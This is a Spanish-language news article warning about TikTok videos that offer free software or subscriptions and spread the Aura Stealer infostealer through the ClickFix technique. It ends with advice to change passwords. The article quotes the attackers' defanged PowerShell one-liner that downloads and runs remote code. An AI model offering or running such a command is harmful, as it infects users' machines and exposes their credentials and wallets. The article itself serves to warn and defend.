Aunque TikTok es fuente de diversión, la red social de vídeos cortos también se está convirtiendo en un foco de amenazas para los usuarios. Para los hackers, se posiciona como una vía muy conveniente de llevar a cabo sus infecciones.
Cada vez más, los especialistas en seguridad están alertando a los usuarios de los riesgos que implica seguir las instrucciones y consejos de determinados vídeos disponibles en TikTok. El motivo es que los cibercriminales los están utilizando para extender la presencia de malware entre los usuarios.
Guías de activación falsas
Los cibercriminales han encontrado un filón en TikTok para engañar a usuarios haciéndoles pensar que están compartiendo con ellos trucos para conseguir programas gratis. La técnica no es nueva, puesto que ha existido desde hace décadas en páginas web.
No obstante, ahora el sistema se ha adaptado a los vídeos de TikTok para que los usuarios caigan en la trampa de una manera más dinámica. Al fin y al cabo, los hackers saben que el grueso de usuarios hoy día está en las redes sociales y plataformas de vídeo, así que han decidido buscar este sistema de infección.
¿Con qué servicios engañan?
Lo que están haciendo los hackers es crear guías en las que instruyen a los usuarios a descargar o activar programas que normalmente son de pago. Algunos de los vídeos que se han descubierto están relacionados con activaciones de Windows 11, Microsoft 365, Photoshop, Adobe Premiere y otros programas como CapCut Pro.
Como la maniobra está dándoles resultado, los hackers han empezado a usar servicios de streaming y otras plataformas de suscripción, como Netflix o Spotify Premium. Otros de los servicios que utilizan para infectar incluyen Discord Nitro, siempre generando interés entre los usuarios haciéndoles creer que podrán conseguir gratis algo que es de pago.
¿Cómo infectan a los usuarios?
El sistema que usan los hackers recibe el nombre de ClickFix y se trata de una técnica de ingeniería social que tiene como objetivo engañar a los usuarios para que ejecuten comandos de riesgo. Se benefician de la necesidad que tienen los usuarios para conseguir esos programas gratuitos y, en el proceso, hacen que ejecuten un comando en PowerShell para infectar sus dispositivos.
La mecánica siempre es la misma. Al inicio del vídeo, se instruye a los usuarios a ejecutar un código en PowerShell en su ordenador con cuenta de administrador. El código es similar a este: “iex (irm slmgr[.]win/programa)”, pero cambiando el término “programa” por el nombre al software correspondiente, como Windows, Photoshop o Netflix.
Siguiente paso de la infección
El primer paso es la ejecución del código de PowerShell. En el momento en el que el usuario ya lo ha ejecutado, PowerShell realiza una conexión y ejecuta otro script. Eso permite que la infección continúe sin que el usuario tenga que introducir más comandos.
En este momento, el script descarga dos ejecutables infectados, siendo uno de ellos una versión de Aura Stealer, un malware que se especializa en el robo de información. A partir de ahí, ese malware inicia un proceso de recolección de datos de todo lo que tenga el usuario en su dispositivo. Así, extrae información de cookies, de los navegadores, de cualquier aplicación o incluso de los monederos de criptomonedas. Todos esos datos van directamente a la mano de los hackers.
¿Qué pasa después?
Según informan los expertos, aunque en este punto los cibercriminales ya han robado datos de acceso de los dispositivos de los usuarios, todavía hay algo más. Aparentemente, el virus introduce otro código, en este caso dentro de la memoria del equipo. La mala noticia es que los especialistas todavía no saben cuál es el objetivo que tiene este último código, por lo que quedaría en el aire conocer a fondo el proceso y lo que están haciendo los cibercriminales con estas infecciones.
¿Qué hacer si te has visto afectado?
Si eres víctima de este tipo de ataque, lo que recomiendan los expertos es que te mentalices sobre cómo todas tus contraseñas y datos podrían haber caído ya en manos de los cibercriminales. Debido a ello, el paso natural más inmediato debe ser cambiar todas las contraseñas para intentar minimizar los riesgos.
| Categoría | Ejemplos de Software/Servicio | Riesgo Asociado |
|---|---|---|
| Sistemas Operativos | Activadores de cuentas de Windows 11 | Ejecución de código de riesgo con cuenta de administrador |
| Software de Productividad | Microsoft 365, Adobe Photoshop, Adobe Premiere, CapCut Pro | Instalación de malware |
| Servicios de Streaming | Cuentas de Netflix, Spotify Premium gratis | Robo de datos personales y de pago |
| Comunidades y Gaming | Discord Nitro | Robo de contraseñas para el acceso e inicio de sesión |
En el caso de que nunca hayas caído en este tipo de trampa, es recomendable que tengas cuidado y que no sigas este tipo de guías falsas que circulan por TikTok. Además, los especialistas en seguridad recomiendan ser muy cuidadosos con seguir indicaciones que estén relacionadas con PowerShell o con la copia de código de guías de poca confianza.